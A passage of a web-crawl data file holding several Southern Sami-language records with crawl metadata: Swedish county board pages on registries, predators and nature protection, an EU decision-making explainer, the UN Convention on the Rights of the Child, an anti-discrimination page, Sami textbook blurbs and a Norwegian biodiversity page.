Ij åålmege leah reakta dejtie lohkedh jïh ij Leeneståvroe åadtjoeh dam jeatjagidie vedtedh.\nLeeneståvroen diarijume\nDiarijisnie biejjieladtje orre ierieh bievnieh, maam ierine deahpede jïh ieriej mieriedimmieh. Dah læstoeh lea byjjes, medijah jïh jeatjah iedtjeladtjh maehtieh dejtie lohkedh. Diarije lea sveerjen gïelesne.\nLänsstyrelsernas diarier tjïrrh datne åadtjoeh ierh vuejnedh ruffien 8.b. 2011 raejeste. Leeneståvroej diarijerh vijrebe destie evtididh.\nJis datne sïjhh bïevnesh sjïere ieri bïjre Leeneståvroem bïeljelh.","id":"","dump":"CC-MAIN-2015-35","url":"http:\/\/www.lansstyrelsen.se\/dalarna\/SMA\/om-lansstyrelsen\/diarium\/Pages\/default.aspx","date":"2015-09-01T03:55:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-35\/segments\/1440645151768.51\/warc\/CC-MAIN-20150827031231-00195-ip-10-171-96-226.ec2.internal.warc.gz","language":"sma","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":41,"top_langs":"{\"sma_Latn_score\": 0.9999922513961792}","num_words":173,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïeneståvroen dïedte dah stoerre vaejsjieh lïenesne reeredh. Ulmie lea vaejsjieh gelkieh gååvnesidh jielije maadtojne, seammasiente goh mijjieh sïjhtebe dah dåeriesmoerh unniedidh mah dah maehtieh darjodh.\nReereme vaarjelidh jïh gaertjiedidh\nVaejsjieh leah bïerne, snöölhke, råate, gierhkie jïh aarhtse, jïh lïenen reeremesoejkesjisnie buerkiestibie guktie mijjieh edtjebe dejtie reeredh restultatijste jaapetjen goerehtimmeste. Soejkesjen sisvege lea fïerhten arten låhkoe- jïh gååvnesimmieulmiej, jïh mijjieh mieredibie vuesiehtimmien gaavhtan åvtelbodti darjomh, vaarjelimmievijremem jïh lisensevijremem. Mijjieh aaj bievnebe dej vaejsjiej bïjre mah lïenesne gååvnesieh.\nLïeneståvroen dïedte lea vijremem vaejsjijste gïehtjedidh jïh mejtie ovluhpies vijremem geehtedh. Dan lissine aaj viltskaareierh gïetedibie mah bieleste vaejsjieh leah dorjeme.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.lansstyrelsen.se\/stockholm\/SMA\/djur-och-natur\/rovdjur\/Pages\/default.aspx","date":"2016-05-28T16:05:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049278042.30\/warc\/CC-MAIN-20160524002118-00023-ip-10-185-217-139.ec2.internal.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":97,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïeneståvroe barka galka lïenen aarvoes sjædtoeh, juvrh jïh eatnemebyjresh gorredidh. Dïhte lea vuesiehtimmien gaavhtan eatnemereservaath darjodh jïh gïetedidh, arth jïh eatnemebyjresh gïehtjedidh jïh aaj gïehtelimmie luhpiem pryövedh mah maehtieh eatnemebyjresem dïjpedh. Eatnemereservaath jïh åålmegemiehtjieh lea jaksoe-mieresne ålkoejielemasse jïh eatnemedååjresasse.\nLïeneståvroen dïedte juvrevaarjelimmiem lïenesne. Mijjieh åvtel-bodti barkebe guktie juvrh gelkieh hijven utnedh. Mijjieh maehtebe sjæjsjalidh juvrh eakeristie vaeltedh jis dah dejtie irhkieh jallh almetjem nihtedh juvrh jallh aktem juvresåarhtem utnedh.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.lansstyrelsen.se\/vasternorrland\/SMA\/djur-och-natur\/Pages\/default.aspx","date":"2016-06-28T11:26:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783396875.58\/warc\/CC-MAIN-20160624154956-00152-ip-10-164-35-72.ec2.internal.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":89,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":69,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inga vanliga sökord hittades. Pröva att skriva klart ditt sökord och klicka på sökknappen.\nInga artiklar hittades\nInga frågor och svar hittades\nEuropeijen raerie rïektesïevide tjaaleste EU-laavenjostemen åvtese guhkebe tïjje, mohte ij EU-njoelkedassi bïjre sjæjsjelh. Dah njielje aejkieh fïerhten jaepien tjåanghkenieh. Jis daarpesje dellie maahta lissietjåanghkoem öörnedh.\nEuropeijen raeresne åejvie, EU-laanti staate- jïh reerenasseåvtehkh jïh kommisjovnen åejvie. Europeijen raerie åejviem veeljie boelhkese mij lea göökte jïh bielie jaepieh.\nSveerje jïh dah jeatjah lïhtsegelaanth ektesne sjæjsjalieh orre EU-njolkedassi bïjre. Dïhte sæjhta jiehtedh Sveerje maahta EU:en sjæjsjalimmieh tsevtsedh, bene muvhtene aaj Sveerje tjuara EU-sjæjsjalimmiem dåeriedidh jïlhts ij Sveerje dam sïjhth utnedh.\nNaemhtie jåhta gosse Sveerje jïh dah jeatjah lïhtsegelaanth seamadieh orre EU-njoelkedassi bïjre:\nEU-kommisjovnen laavenjasse lea orre laakh evtiedidh. Gaajhkh lïhtsegelaanth tjirkijem åtna kommisjovnesne. Dah kommisjovnijh edtjieh vuartasjidh åålesth EU:en bööremes jïh eah leah tjirkijh dej respektijveles laanti åvteste.\nEU-kommisjovne dej uvtelassh seedtie gaajhkide lïhtsegelaantide. Sveerjesne dah reeremasse jïh rïjhkebeajjan båetieh. Reerenasse rïjhkebiejjiem beavna dan vuajnoen bïjre jïh dååste rïjhkebiejjien vuajnojde. Dïhte lea reerenasse gie Sveerjen åvteste soptseste.\nEuropaparlamente lea meatan jïh EU:en orre laaki bïjre sjæjsjele. Dah tjirkijh lea veeljeme sïejhme veeljeminie jïh 20 dejstie lea Sveerjesne veeljeme.\nEuropaparlamente sjæjsjele ministereraerien ektesne jeenjemes gyhtjelassine. Muvhtine gyhtjelassine ij Europaparlamente sjæjsjelh. Dïhte lea vuesiehtimmien gaavhtan EU:en ålkoerïjhke- jïh vihtiesvoetepolitihke.\nDïhte sveerjen reerenasse jïh gaajhkh dah jeatjah reeremh EU-laantine lea meatan akte ministerinie EU:en ministereraeresne. Ministereraerie sjæjsjele orre EU-laaki bïjre.\nDïhte sveerjen reerenasse lea åvtelhbodti evtielassem rïjhkebiejjine digkiedamme.\nGosse ministereraerie lea sjæjsjalamme orre laaken bïjre edtja Sveerje jïh dah jeatjah lïhtsegelaanth laakem sjïehtesjidh. Muvhtene rïjhkebiejjie daarpesje sveerjen laakine jeatjahtehtedh guktie edtja sjïehteladtedh dejnie EU:en orre laakigujmie. Jeatjah sjïekesne EU:en laake ryöktesth jåhta.\nDan baalte goerehtidh jïh vuajnoeh mïeledh reerenassese rïjhkebiejjie åtna, seamma goh dah parlamenth jeatjah laantine, aaj jeatjah laavenjassem åtna. Gosse EU orre laakh evtede sjïere suerkine edtjieh dah parlamenth lïhtsegelaantine goerehtidh jis dejtie njoelkedasside daarpesjieh EU-daltesinie jallh jis buerebe jis fïerhte laante dej njoelkedassij bïjre jïjtje sjæjsjalidh. Goerehtimmeste maahta sjïdtedh kommisjovne tjuara dan evtielassem ikth vielie pryövedh.\nEU-kommisjovne vååksje laanth dejtie laakide dåeriedidh mejtie EU lea sjæjsjalamme. Jis kommisjovne meala Sveerje ij dejtie laakide dåeredh maahta kommisjovne Sveerjem steemmedh EU-dåapmoestovlesne.\nEU-dåapmoestovlen laavenjasse lea dellie nænnoste jis Sveerje lea EU:en njoelkedassi vööste mïedteme. Sveerjen dåapmoestovlh maehtieh aaj EU-dåapmoestovlese govlesadtedh gyhtjelassigujmie guktie EU:en njoelkedasside edtja toelhkedh.\nJis meala Sveerje jallh jeatjah lïhtsegelaante eah EU:en njoelkedasside dåeriedidh maahta dam bæjhkoehtidh EU-kommisjovnese.\nNär du svarar på frågan ovan samtycker du också till att cookies används. Inga personuppgifter lagras. Mer om cookies.\nEU-upplysningen vid Sveriges riksdag har i uppdrag att ge opartisk och allsidig information om EU, det svenska medlemskapet och EU-arbetet i riksdagen. Du kan kontakta oss via telefon, e-post eller brev. Välkommen att fråga oss om EU!\nTelefon: 020-250 000 mån-fre kl. 9-12\nE-post:\nPostadress:\nEU-upplysningen\nSveriges riksdag\n100 12 Stockholm","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.eu-upplysningen.se\/Lankar-topp-fot-menyer\/Other-languages\/Aarjelsaemien\/Gosse-EU-sjajsjele\/","date":"2016-09-29T03:15:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661778.22\/warc\/CC-MAIN-20160924173741-00007-ip-10-143-35-109.ec2.internal.warc.gz","language":"sma","language_score":0.9998794794,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9998794794082642}","num_words":450,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Barnkonventionen på sydsamiska – för barn och ungdomar\nEN:n konvensjovne maanan reaktaj bïjre, jallh maahta aaj maanakonvensjovne jiehtedh, jaepien 1989 sjæjsjali. Maanakonvensjovnesne reaktah mah fïerhten maana edtja utnedh jïh gaajhkesi bïjre gieh nuerebe goh 18 jaepien båeries, gie laantesne årroeminie. Maanakonvensjovnesne lea maana dovne maana jïh noere.\nSveerje tjuara darjodh bööremes maam maehtedh guktie dïhte mij maanakonvensjovnesne tjaaleme galka saatnan sjïdtedh. Vuesiehtimmien gaavhtan tjuara Sveerjen laakh jïh njoelkedassh sïemedidh dej reaktajgujmie mah konvensjovnesne tjaaleme. Sveerje edtja vuartasjidh ij maanaj reaktah åajaldehtieh jilhts gaajhkene lehkesne sïebredahkesne seahkaridh, fïerhten biejjien. Reereme edtja aaj vuartasjidh dovne maanah jïh geerve-almetjh åadtjoeh dej reaktide daejredh.\nReaktah leah tjaaleme ovmessie boelhkine mah gohtjesåvva artikelh. Maanakonvensjovnen leah 54 artikelh jïh 41 daejstie leah reaktaj bïjre. Dah jeatjah leah dan bïjre guktie laanth gelkieh maanakonvensjovnine barkedh.\nArtikelh 2, 3, 6 jïh 12 maanakonvensjovnen åejvieprinsibph gohtjesuvvieh. Dah datnem viehkiehtieh dah jeatjah artikelh guarkah. Gaajhkh artikelh maanakonvensjovnesne ektiedieh.\nMAANAKONVENSJOVNE\nTSEVTSEME\n12. Datne reaktam åtnah dov mïelh jiehtedh gaajhkh gyhtjelassh mejtie dov bïjre. Geervh edtjieh goltelidh jïh jïh dov åssjelh krööhkedh. Gosse reereme jallh dåapmestovle gïetele jallh sjæjsjele aamhtesem dov bïjre dellie datne edtjh nuepiem åadtjodh dan bïjre moenedh.\n13. Datne åadtjoeh soptsestidh man bïjre sïjhtedh. Destie båata datne reaktam åtnah bïevnesh jïh åssjelh ohtsedidh, åadtjodh jïh dejtie dåastodh.\n14. Datne reaktam åtnah ussjedidh jïh mïeledh maam sïjhtedh. Datne reaktam åtnah dov jaahkoem dåeredh jïh religijovnem jaahkah maam sïjhth. Dov eejhtegh åadtjoejægan datnine raeriestidh, mohte ij gossege dov åssjeli bijjelen reeredh.\n15. Datne reaktam åtnah lïhtsege årrodh saervine jïh jallh veeljh ij sïjhth lïhtsege saervine årrodh. Datne aaj åadtjoeh reaffeles tjåanghkosne årrodh.\nIDENTITETE\n7. Datne reaktam åtnah nommem åadtjoeh jïh otnege laantesne årroeh. Datne aaj reaktam åtnah dan guhkies goh nuepie daajrah gieh dov eejhtegh leah jïh dah edtjieh datnem suvhtedh.\n8. Datne reaktam åtnah dov jijtje identitetese. Identitetesne dov otnege dov laantesne, dov nomme jïh dov laahkoeh. Jis dov identitetem dassh, edtjh datne viehkiem åadtjodh dam goerehtidh.\nSEAMMA VIERHTIEH\n2. Maanakonvensjovne dutnjien jïh gaajhkide maanide seamma reaktah jïh seamma vierhtieh vadta. Ij oktegh åadtjoeh datnem sierredidh. Destie båata ij oktegh åadtjoeh datnem båajhtodåbpoe enn jeatjah gïetedidh. Ij åadtjoeh datnem sierredidh jallh beadtadidh mestie dov eejhtegh leah jallh darjoeh.\n23. Datne gie fysisken jallh psykisken heaptoe, reaktam åtnah buerie jielemasse. Goh gaajhkh jeatjah datne edtjh maehtedh madtjeldimmiem jïh jïjtjedomtesem damtedh. Datne edtjh iedtjeles-laakan sïebredahkesne årrodh. Datne reaktam åtnah sjïere såjhtoem jïh dåarjoem.\n30. Datne gie unnebelåhkoetjïerte jallh aalkoealmetjh govlesovvh lea reakta gïelem, kultuvrem jïh religijovnem maam datne juakah jïh darjoeh dah jeatjah ektine dov dåehkesne.\nHIJVEN JIELEDH\n3. Gosse geervh maanaj bïjre sjaæjsjalieh dah gelkieh \"maanan bööremes\" giehtjedidh. Destie båata dah geervh åålegh edtjieh ussjedidh maam lea dutnjien bööremes jïh guktie dutnjien sjædta gosse maam akta sjæjsjalieh. Datnem edtjieh vaarjelidh jïh sujhtedh. Seamma vihkeles geervh \"maanan bööremes\" ussjedieh gosse gelkieh jïjnji maanaj bïjre sjæjsjalidh.\n6. Datne reaktam åtnah jieledh jïh evtiedidh. Dov laante edtja gaajhkem maam maehtedh guktie datne maahtah dam darjodh.\n22. Jis datne baaterh, oktegh jallh jeatja ektine, datne reaktam åtnah åadtjoeh vaarjelimmiem jïh viehkiem. Datne edtjh aaj viehkiem åadtjodh dov fuelhkine ektiedidh.\n24. Datne reaktam åtnah dan hïerven goh nuepie. Jis skiemtjes sjïdth datne reaktam åtnah håksose jïh saavremasse guktie starnedh. Datne aaj reaktam åtnah vaarjelæmman tradisjovnellen vuekeste mestie haeviem åadtjodh.\n25. Jis datnem gïetede guktie datnem vaarjelidh jallh sujhtedh datne reaktam åtnah gïetedimmiem guktie gaajhkem maam dov bïjre rïektes-laakan sjïdtedh.\n26. Datne reaktam åtnah sosijalen jearsoes-voetese. Jis daerpies sïebredahke edjta viehkiehtidh guktie datne åadtjoeh gåetie-luhpiem, beapmoeh jïh vaarjoeh.\n27. Datne reaktam åtnah vuekesne jieledh mij dutnjien nuepiem vadta fysisken, psykisken, moralijen jïh sosijalen evtiedidh. Daate dov eejhtegi dïere, mohte jis dah guaktah viehkiem daarpesjægan edtjigan dam åadtjodh.\n39. Jis datnem naan vuekine båajhtode sujhtedh, åtnalgidh jallh laarhkodh datne reaktam åtnah viehkiem åadtjodh guktie vihth hijven jealah. Aaj dan bïjre jis datnem tortyrerieh jallh jeatjah vuekine radtsoeh-laakan, ov-almetjeles jallh narrahteles gïetedieh jallh bysveme, jallh jis datne dåarosne.\nVAARJELIMMIE\n11. Ij leah luhpie datnem jeatja laantese buektieh jis dov eejhtegh nyöjhkieh.\n16. Datne reaktam åtnah ovluhpehts dïjpemijstie dov privatejielemisnie vaarjelidh. Dovne gåetesne jallh gusnie årroeminie. Ij oktegh åadtjoeh vuesiehtimmien gaavhtan dov prieviem jallh biejjiegærjam luhpehts låhka. Aaj gaajhkh tsiehkiej bïjre gosse bïevnesh dov bïjre giehtele. Ij oktegh åadtjoeh dov hederem jallh datne skaarese sjïdtedh. Laake edtja datnem faamoje vaarjelidh gaajhki dej tsiehkiej vööste.\n19. Datne reaktam åtnah gaajhki hammoej vööste fysisken jïh psykisken njåvtasovvemem, skaarah, irhkemem, laarhkomh jallh jeatjah nuhtjesovvemem.\n32. Datnem edtja vaarjelidh ih barkoem darjoeh mij maahta dutnjien skaareles, jallh datnem dåastodh skuvlesne årrodh jallh jeatja vuekesne evtiedidh. Datnem ij åadtjoeh ekonomeles vuekine utnedh, vuesiehtimmien gaavhtan naan jeatja dov barkoem dïenesje jis ij datne baalhkam åadtjoeh.\n33. Dïhte lea laanti dïedte datnem vaarjelidh narkotihkan jïh jeatjah drovgi vööste. Laanth edtjieh vuartasjidh ij datnem nuhtjh gosse drovgh darjodh jallh doekedh.\n34. Datne reaktam åtnah vaarjelæmman gaajhkh hammoeh seksuellen åtnalgimmieh jïh seksuellen laarhkomh. Datnem edtja vuesiehtimmien gaavhtan prostitusjovnen jïh pornografijen åtnalgimmieh vaarjelidh.\n35. Ij åadtjoeh datnem doekedh jallh destie foeresjidh. Dov laante edtja dam geehtedh.\n36. Datne reaktam åtnah vaarjelæmman gaajhki hammoej vööste åtnoste mij datnem arhkene.\n37. Ij oktegh åadtjoeh datnem tortyreredh jallh radtsoeh-laakan gïetedidh. Eah åadtjoeh datnem jaamebysvehkem jallh jielemetïjjen faangke-gåatan dööpmedh. Jis datnem dijpieh, faangke-gåatan buektieh jallh dov mïelen vööste sïjse steegkieh tjuara daerpies årrodh jïh åenehks tïjjesne. Datnem edtjieh abpe tïjjem seahkaridh jïh datne reaktam åtnah dov fuelhkiem gaskesadtah tïjjem datne faangke-gåetesne jïh edtja dov aamhtesem varki gïetedidh. Dov reaktah maanakonvensjovnesne juhtieh jilhts dov mïelen vöösten sïjse steegkieh.\n38. Jis datne nuerebe goh 15 jaepien båeries edtja datnem vaarjelidh ij dåarosne årroeh. Jis datne dåarosne edtjh datne vaarjelimmiem jïh håksoem åadtjodh maam daarpesjh.\n40. Jis datnem suvmieh båjhtode darjoejih jallh jis skåltoem årrodh, tjuara datnem seahkaridh jïh krööhkedh. Reeremh jïh institusjovnh mejgujmie datne reaktaprosessesne gaskesadth gelkieh dutnjien sjïehtedamme. Datne reaktam åtnah viehkiem åadtjodh almetjistie gien juridijhken maahtoe. Galka dov aamhtesem gïetedidh dan varki goh nuepie. Ij oktegh åadtjoeh datnem noerhkedh soptsestidh maam datne daajrah jallh bæjhkoeh maam datne ih leah dorjeme.\nFUELHKIE\n5. Dov eejhtegi dïedtem dov bïjre utnieh. Dah edtjieh datnine raeriestidh gosse datne darjoeh guktie maanakonvensjovne jeahta.\n9. Ij oktegh åadtjoeh datnem dov eejhtegijstie juekedh, jis ij leah dov bööremen åvteste. Maahta aaj vuesiehtimmien gaavhtan daerpies jis dov eejhtegh eah datnem hijven-laakan sujhth. Datne reaktam åtnah gåabpegh dov eejhtegijstie råakedh, jis ij leah båajhtode dutnjien.\n10. Jis datne jïh dov eejhtegh sïjhtede ektiedidh, juakemen mænngan, edtjede maehtedh viehkiem ohtsedidh jih dan guhkies goh nuepie viehkiem åadtjodh laantesne gusnie årroeh. Jis dov eejhtegh ovmessie laantine årroejægan jïh dijjieh sïjhtede råakedh edtjede viehkiem åadtjodh dennie laantesne gusnie datne årroeh.\n18. Dov eejhtegh lea akti vyöki dïedte datnem eeledh jïh evtiedidh. Dah edtjieh ussjedidh maam bööremes dutnjien. Jis dov eejhtegh dåarjoem daarpesjieh sïebredahke edtja dejtie viehkiehtidh, vuesiehtimmien gaavhtan hokse jïh maanagierte.\n20. Jis datne ih maehtieh dov fuelhkesne årrodh datne reaktam åtnah sjïere hoksem jïh viehkiem åadtjoeh. Datne reaktam åtnah naan datnem hijven-laakan sujhtie.\n21. Dah laanth mah adopsjovnem luhpiedieh gelkieh vuartasjidh adopsjovne riektes-laakan tjïrrehte jïh dutnjien hijven-laakan sjædta. Laanth edtjieh åålegh vuartasjidh maam bööremes dutnjien.\nBÏEVNESH\n17. Datne reaktam åtnah daejredh maam dov laantesne jïh veartanisnie deahpade, vuekine datne guarkah, vuesiehtimmien gaavhtan avijsij jïh tv:en tjïrrh. Bïevnesh mah åadtjoeh edtjieh datnem viehkiehtidh evtiedidh jïh healsoen vuekesne jieledh.\nÖÖHPEHTIMMIE\n28. Datne reaktam åtnah ööhpehæmman. Datne edtjh åadtjodh namhtah maadth-skuvlesne.\n29. Skuvlesne edtjh datne gaajhkh vuekine evtiedidh jïh datnem dïedte-jielemem sïebredahkesne ryöjrehte. Datne aaj edtjh lïeredh dah almetji frïjjesvoetem jïh reaktah, dov eejhtegh, dov jïjtje jïh jeajtaj kultuvrh jïh eatnemem seahkaridh.\nSTÅÅKEDIMMIE, EEJEHTIMMIE, KULTUVRE JÏH LÏEGKEDIMMIE\n31. Datne reaktam åtnah eejehtæmman, stååkedæmman jïh lïegkedæmman. Datne reaktam åtnah kultuvrellen jïh tjïehpen darjomi meatan årrodh.\nMAANAKONVENSJOVNEN BÏJRE\n1. Maanakonvensjovne lea dov bïjre gie nuerebe goh 18 jaepien. Maanakonvensjovnesne dovne maana jïh noere leah \"maana\".\n4. Gaajhkh laanth edtjieh darjodh maam maehtedh guktie dejtie reaktide maanakonvensjovnesne tjïrrehtidh. Destie båata dah åålegh edtjieh voejhkelidh dåeriedidh maam maanakonvensjovnesne tjaaleme.\n41. Jis laakh jïh njoelkedassh dov laantesne joe dutnjien vielie jallh buerebe reaktah vedtieh goh dah mah dennie maanakonvensjovnesne tjaaleme, edtjieh laanten laakh jïh njoelkedassh stuvredh.\n42. Dov laanten dïedte lea dovne maana jïh geerve demtieh mah maanakonvensjovnesne tjaaleme.","id":"","dump":"CC-MAIN-2016-44","url":"https:\/\/www.barnombudsmannen.se\/om-webbplatsen\/minoritetssprak\/sydsamiska\/barnkonventionen-pa-sydsamiska---for-barn-och-ungdomar\/","date":"2016-10-20T21:18:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988717954.1\/warc\/CC-MAIN-20161020183837-00074-ip-10-171-6-4.ec2.internal.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":1273,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laake datnem vaarjelh vuestie v.g. barkosne, skuvlesne, jïlleskuvlesne, bovresne jïh gosse edtjh gåetieluehpiem åestedh jallh leejedh.\nLaake aaj datnem vaarjelh diskrimineeremen vuestie jeatjah sijjine, v.g. syjhtedejarngesne, skiemtjegåetesne jïh socialehoksehtimmesne.\nDatne maahtah aaj bæjhkoehtidh jis nåakebe laakan datnem dåastoehtamme gosse eejtegheejehtallemisnie leah orreme jallh edtja årrodh.\nBarkoejiemisnie mannem diskrimineereme\nÖöhpehtimmesne mannem diskrimineereme\nGie gujht mannem diskrimineereme","id":"","dump":"CC-MAIN-2016-44","url":"http:\/\/www.do.se\/other-languages\/aarjelsaemiengiele-sydsamiska\/","date":"2016-10-24T12:13:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988719566.74\/warc\/CC-MAIN-20161020183839-00211-ip-10-171-6-4.ec2.internal.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":55,"character_repetition_ratio":0.125,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline goetsebe lea åarjelsaemien learoevierhtie. Learoehvierhtide lohkemegærja, göökte barkoegærjah, lohkehtæjjan bïhkedimmieh jïh CD.h. Gærjah leah voestes daltesen learoehkidie jïh 10-jaapetje maadthskuvlen saemien learoesoejkesjen mietie. Daate lea Gïeline goetsebe 1 lohkehtæjjan bïhkedimmie åarjelsaemien mubpiegïeline. Gïeline goetsebe er et læreverk i sørsamisk språk. Det består av lesebok, to arbeidsbøker, lærerveiledninger og CDer. Dette er Gïeline goetsebe 1 lærerveiledning for sørsamisk som andrespråk.","id":"","dump":"CC-MAIN-2016-44","url":"https:\/\/www.bestselgerklubben.no\/_g%C3%AFeline-goetsebe-1-helen-blind-brandsfjell-9788256016686","date":"2016-10-28T18:03:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988725451.13\/warc\/CC-MAIN-20161020183845-00339-ip-10-171-6-4.ec2.internal.warc.gz","language":"sma","language_score":0.9810481668,"language_script":"Latn","minhash_cluster_size":66,"top_langs":"{\"sma_Latn_score\": 0.9810481667518616, \"sme_Latn_score\": 0.018956197425723076}","num_words":58,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":0.987,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate barkoegærja lea 3. daltesasse mubpiegïeline. Barkoegærjesne grammatihke- laavenjassh jïh jeatjah laavenjassh mahte gaajhkide tekstide lohkemegærjesne. Lohkemegærja, bïhkedimmie lohkehtæjjide jïh cd aaj gååvnesieh. Denne arbeidsboka er for nivå 3 andrespråk. I arbeidsboka finnes det grammatikk- oppgaver og andre oppgaver til nesten alle tekstene i leseboka. I læreverket Gïeline åahpenidh 3 for andrespråk finnes også lesebok, lærer- veiledning og CD.","id":"","dump":"CC-MAIN-2016-44","url":"https:\/\/www.tanum.no\/_g%C3%AFeline-%C3%A5ahpenidh-3-liv-karin-joma-9788256017201","date":"2016-10-25T12:19:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-44\/segments\/1476988720062.52\/warc\/CC-MAIN-20161020183840-00325-ip-10-171-6-4.ec2.internal.warc.gz","language":"sma","language_score":0.9658147097,"language_script":"Latn","minhash_cluster_size":69,"top_langs":"{\"sma_Latn_score\": 0.9658147096633911, \"sme_Latn_score\": 0.029496729373931885}","num_words":56,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":0.972,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Eatnemen gellievoete\nEdtja eatnemem reeredh guktie sjædtoeh jïh kreekh mah leah iemie eatnamisnie, åadtjoeh jieledh. Edtjebe aaj dam jeereldihkie eatnemem jïh geologijem gorredidh.\nGaajhkesh dïedtem utnieh eatnemen gellievoeten åvteste\nGaajhkesåarhts goerpedahkh eatnamisnie maehtieh eatnemen gellievoetem håvhtadidh. Tjoerebe dan åvteste iktesth konsekvenside goerpedahkijste vuarjasjidh, goh stuerebe geajnoeh jallh orre gåetiedajvh.\nDah göökte vihkielommes laakh juktie eatnemen gellievoetem gorredidh leah eatnemegellievoetelaake jïh soejkesje- jïh bïgkemelaake. Eatnemegellievoetelaake åejvieladtjide stillie råajvarimmieh vuarjasjidh gosse eatneme lea håvhtadamme.\nFylhkenålma huksie ihke jielije dajvh, aarhth jïh eatnemevierhtieh gorresuvvieh, gaskem jeatjah gïehtjedidh tjïelth eatnemegellievoetelaakam jeakadieh jïh hoksedh daajroe byjresen bïjre våaroemasse bïejesåvva tjïelten sjæjsjalimmine.\nHåvhtadihks aarhth jïh eatnemesåarhth\nMedtie 2000 håvhtadihks aarhth Nöörjesne. Åejvieladtjh dahkoesoejkesjh darjoeh jïh råajvarimmiejgujmie nierhkieh juktie hoksedh aarhth eah jaemieh, jïh dah aaj kreekeveahkide vååksjedieh. Fylhkenålmah dïedtem utnieh dan faageles våaromen åvteste gosse orre dahkoesoejkesjh håvhtadihks aarhtide dorjesuvvieh, jïh ihke råajvarimmide tjïrrehtidh gosse soejkesjh leah nænnoestamme. Muvhti veajkoej dle råajvarimmieh dorjesuvvieh dajveaajhterigujmie, tjïeltigujmie jïh siebriejgujmie ektine.\nGaajhkine tjïeltine dle goerehtellieh dejtie dajvide mah leah vihkielommes eatnemen gellievoetese. Nasjovnaale læstoeh dorjesuvvieh, mah rööpseslæstoeh gohtjesuvvieh, dej aarhtigujmie jïh eatnemesåarhtigujmie mah maehtieh nåhkelidh. Naaken dejstie håvhtadihks aarhtijste jïh eatnemesåarhtijste leah nammoehtamme goh \"prijoriteradamme aarhth\" jallh \"vaeljehke eatnemesåarhth\" . Dah aktem sjïere vaarjelimmiem åadtjoeh eatnemen gellievoetelaakesne, jïh jïjtsh dahkoesoejkesjh daerpies råajvarimmiejgujmie åadtjoeh juktie hoksedh aarhth eah jaemieh.\nAmmes aarhth\nAmmes aarhth leah sjædtoeh, goebperh jïh åhtehtsh mah eah leah iemie mijjen eatnamisnie. Vielie fealadimmie, åesiestimmie jïh akte bïjvelåbpoe klijma leah naaken dejstie fåantojste mannasinie mijjieh orre aarhth Nöörjesne gaavnebe.\nVihkeles dah ammes aarhth eah mijjen ekosystemh leajmodh. Fylhkenålmah leah meatan barkosne ammes aarhti vööste gæmhpodh, gaskem jeatjah ammes sjædtoeh vaarjelimmiedajvijste nåhkehtidh, geerjehtimmiem heerredidh importeradamme akvarijeguelijste jeanojne jïh jaevrine, jïh gaerteneaajhteridie bieljelidh mah sjædtoeh dah bööremes byöroeh veeljedh. Fylhkenålman aaj laavenjassh juktie ammes aarhth goerehtalledh jïh 